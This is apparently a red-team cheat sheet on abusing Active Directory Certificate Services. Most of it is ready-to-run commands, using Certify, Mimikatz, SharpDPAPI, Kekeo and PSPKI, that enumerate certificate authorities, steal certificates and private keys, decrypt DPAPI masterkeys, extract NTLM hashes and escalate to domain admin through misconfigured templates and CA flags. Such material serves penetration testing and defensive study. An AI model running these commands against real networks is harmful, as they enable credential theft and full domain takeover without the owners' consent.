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AD CS Abuse

  • AD CS : Active Directory Certificate Services

  • CA : Certification Authority

  • EKU : Extended Key Usage

  • SAN : Subject Alternative Name (subjectAltName)

  • CSR : Certificate Signing Request

  • CES : Certificate Enrollment Web Service

  • CAPI : CryptoAPI

  • CNG : Cryptography API: Next Generation

EKU OIDs that can enable certificate authentication:

Description
OID

Client Authentication

1.3.6.1.5.5.7.3.2

PKINIT Client Authentication

1.3.6.1.5.2.3.4

Smart Card Logon

1.3.6.1.4.1.311.20.2.2

Any Purpose EKU

2.5.29.37.0

Subordinate CA certificate

No EKU set

Enumerate AD CS

Enumerate AD Enterprise CAs and their settings with LDAP:

$CAs = Get-ADObject -LDAPFilter '(objectCategory=pKIEnrollmentService)' -SearchBase "CN=Configuration,DC=tinycorp,DC=net"
$CAs

Get list of template names:

$CATemplateNames = Get-ADObject $CAs[0].DistinguishedName -Properties certificatetemplates | Select-Object -ExpandProperty certificatetemplates
$CATemplateNames
Or
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(objectCategory=pKIEnrollmentService)' --base 'CN=Configuration,DC=megacorp,DC=local' --attrs dn,dnshostname
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(distinguishedName=CN=CA01,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=megacorp,DC=local)' --base 'CN=Configuration,DC=megacorp,DC=local' --attrs certificateTemplates

Enumerate AD Enterprise CAs with certutil from a domain-joined machine:

Cmd > certutil.exe -config - -ping
Cmd > certutil.exe -TCAInfo [-v]

Hunt for Certificates

Export Certificates

Export a certificate from user's context.

With certmgr:

  • Run → certmgr.msc → Action → All Tasks → Export ...

With PowerShell:

 Export-PfxCertificate -Password (Read-Host -AsSecureString -Prompt 'Password') -Cert (Get-Item -Path Cert:\LocalMachine\My\<CERT_THUMBPRINT>) -FilePath cert.pfx -Verbose

With CertStealer:

Cmd > .\CertStealer.exe -export pfx <CERT_THUMBPRINT>

If the private key is non-exportable, use Mimikatz's crypto::capi (to patch CAPI in current process) or crypto::cng (to patch lsass.exe memory):

Cmd > .\mimikatz.exe "crypto::capi" "crypto::certificates /export" "exit"

DPAPI User Keys

Decrypt a domain user's masterkey with domain's backup key with Mimikatz:

Cmd > .\mimikatz.exe "dpapi::masterkey /in:C:\path\to\masterkey /rpc" "exit"

Decrypt masterkey if user's plaintext password is known with Mimikatz:

Cmd > .\mimikatz.exe "dpapi::masterkey /in:C:\path\to\masterkey /sid:<ACCOUNT_SID> /password:Passw0rd!" "exit"

Simplify the process with SharpDPAPI providing it a file with one or more {GUID}:SHA1 masterkey mappings (will output a .pem file):

Cmd > .\SharpDPAPI.exe certificates /mkfile:C:\Temp\mkeys.txt

DPAPI Machine Keys

It's not possible to decrypt machine keys using the domain's DPAPI backup key, so the adversary can use the DPAPI_SYSTEM LSA secret on the system which is accessible only by the SYSTEM user:

 # While elevated
Cmd > .\SharpDPAPI.exe certificates /machine

After converting the output to .pfx and if the appropriate EKU scenario is present, the adversary can use that .pfx for domain authentication as the computer account (see PERSIST2).

Search for Certificate Files

Find certificate files lying around with Seatbelt:

Cmd > .\Seatbelt.exe "dir C:\ 10 \.(pfx|pem|p12)`$ false"
Cmd > .\Seatbelt.exe InterestingFiles

Some other certificate-related file extensions:

File Extension
Description

.key

The private key.

.crt/.cer

The certificate.

.csr

Signing request file. Does not contain certificates or keys.

.jks/.keystore/.keys

Java Keystore. May contain certificates + private keys used by Java apps.

List EKUs for a certificate with PowerShell:

PS > $CertPath = "C:\Users\snovvcrash\cert.pfx"
PS > $CertPass = "Passw0rd!"
PS > $Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
PS > $Cert.EnhancedKeyUsageList

Parse .pfx with certutil:

Cmd > certutil.exe -dump -v cert.pfx

Correlate a certificate with a CA thumbprint on the host and in AD:

 # Get cert's thumbprint
PS > $CertPath = "C:\Users\snovvcrash\cert.p12"
PS > $CertPass = "Passw0rd!"
PS > $Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
PS > $Cert.Thumbprint
 # Match it with CA certs' thumbprints trusted by the current host
Cmd > .\Seatbelt.exe -q CertificateThumbprints
 # Match it with CA certs' thumbprints from AD
Cmd > .\Certify.exe find /quiet

Steal NTLM via PKINIT

Request NTLM hash when the account is authenticated with a TGT through PKINIT with Kekeo:

Cmd > .\kekeo.exe "tgt::pac /caname:CA01 /domain:megacorp.local /subject:snovvcrash /castore:current_user" "exit"

Domain Escalation via Certificates

Discover vulnerable templates:

Cmd > .\Certify.exe find /vulnerable

Modifiable SAN + Smart Card Logon or Client Authentication or PKINIT Client Authentication EKUs

Condition: the vulnerable certificate template allows requesters to specify a SAN in the CSR as well as allows Smart Card Logon (1.3.6.1.4.1.311.20.2.2) or Client Authentication (1.3.6.1.5.5.7.3.2) or PKINIT Client Authentication (1.3.6.1.5.2.3.4) EKUs.

Find template with this misconfiguration:

PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'

Request a certificate specifying the /altname as a domain admin:

Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:VulnTemplate /altname:DomAdmin

Modifiable SAN + Any Purpose EKU

Condition: the vulnerable certificate template allows requesters to specify a SAN in the CSR as well as allows Any Purpose EKU (2.5.29.37.0).

Find template with this misconfiguration:

PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'

Request a certificate specifying the /altname as a domain admin like in ESC1.

Agent Certificate + Enroll on Behalf of Another User

Conditions:

  1. A template allows a low-privileged user to use an enrollment agent certificate.

  2. Another template allows a low privileged user to use the enrollment agent certificate to request a certificate on behalf of another user, and the template defines an EKU that allows for domain authentication.

1. Request an enrollment agent certificate:

Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:Vuln-EnrollAgentTemplate

2. Request a certificate on behalf of another to a template that allow for domain authentication:

Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:User /onbehalfon:MEGACORP\ITAdmin /enrollcert:enrollmentAgentCert.pfx /enrollcertpw:Passw0rd!

Vulnerable Certificate Template ACEs

Right
Description

Owner

Implicit full control of the object, can edit any properties.

FullControl

Full control of the object, can edit any properties.

WriteOwner

Can modify the owner to an adversary-controlled principal.

WriteDacl

Can modify access control to grant an adversary FullControl.

WriteProperty

Can edit any properties.

EDITF_ATTRIBUTESUBJECTALTNAME2

If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.

This means that an adversary can enroll in any template configured for domain authentication that also allows unprivileged users to enroll (e.g., the default User template) and obtain a certificate that allows to authenticate as a domain admin or any other active user/machine.

Discover with certutil:

Cmd > certutil.exe -config "CA01.megacorp.local\CA01" -getreg "policy\EditFlags"
Or
Cmd > reg.exe query \\CA01.megacorp.local\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CA01\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

Discover with Certify:

Cmd > .\Certify.exe find

To abuse request a certificate specifying an /altname with any template that allows for domain auth (e.g., the default User template which normally doesn't allow to specify alternative names):

Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:User /altname:DomAdmin

This setting can be set with domain admin's privileges like this (dangerous, do not do this!):

Cmd > certutil.exe -config "CA01.megacorp.local\CA01" -setreg "policy\EditFlags" +EDITF_ATTRIBUTESUBJECTALTNAME2

Remove this setting:

Cmd > certutil.exe -config "CA01.megacorp.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2

Vulnerable CA ACEs

Enumarate CA ACEs with Powershell PSPKI:

PS > Install-Module -Name PSPKI
PS > Import-Module PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA01.megacorp.local | Get-CertificationAuthorityAcl | select -ExpandProperty access

ManageCA and ManageCertificates rights translate to the "CA Administrator" and "Certificate Manager" ("CA Officer") respectively.

The "CA Administrator" role allows to set the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (see ESC6):

 # Check before setting the flag
Cmd > hostname
DC01
Cmd > certutil.exe -config "CA01.megacorp.local\CA01" -getreg "policy\EditFlags"
​
 # Invoke SetConfigEntry
PS > "$(hostname) : $(whoami)"
WS01 : megacorp\CertAdmin
PSPKI > $configReader = New-Object SysadminsLV.PKI.Dcom.Implementation.CertSrvRegManagerD "CA01.megacorp.local"
PSPKI > $configReader.SetRootNode($true)
PSPKI > $configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
1114446
PSPKI > $configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
​
 # Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
Cmd > hostname
DC01
Cmd > certutil.exe -config "CA01.megacorp.local\CA01" -getreg "policy\EditFlags"

The "Certificate Manager" role allows to remotely approve pending certificate requests which can by used by an adversary to subvert the "CA certificate manager approval" protection:

 # Request a certificate that requires manager approval with Certify
PS > .\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:ApprovalNeeded
...
[*] Request ID : 1337
​
 # Approve a pending request with PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA01.megacorp.local | Get-PendingRequest -RequestID 1337 | Approve-CertificateRequest
​
 # Download the issued certificate with Certify
PS > .\Certify.exe download /ca:CA01.megacorp.local\CA01 /id:1337
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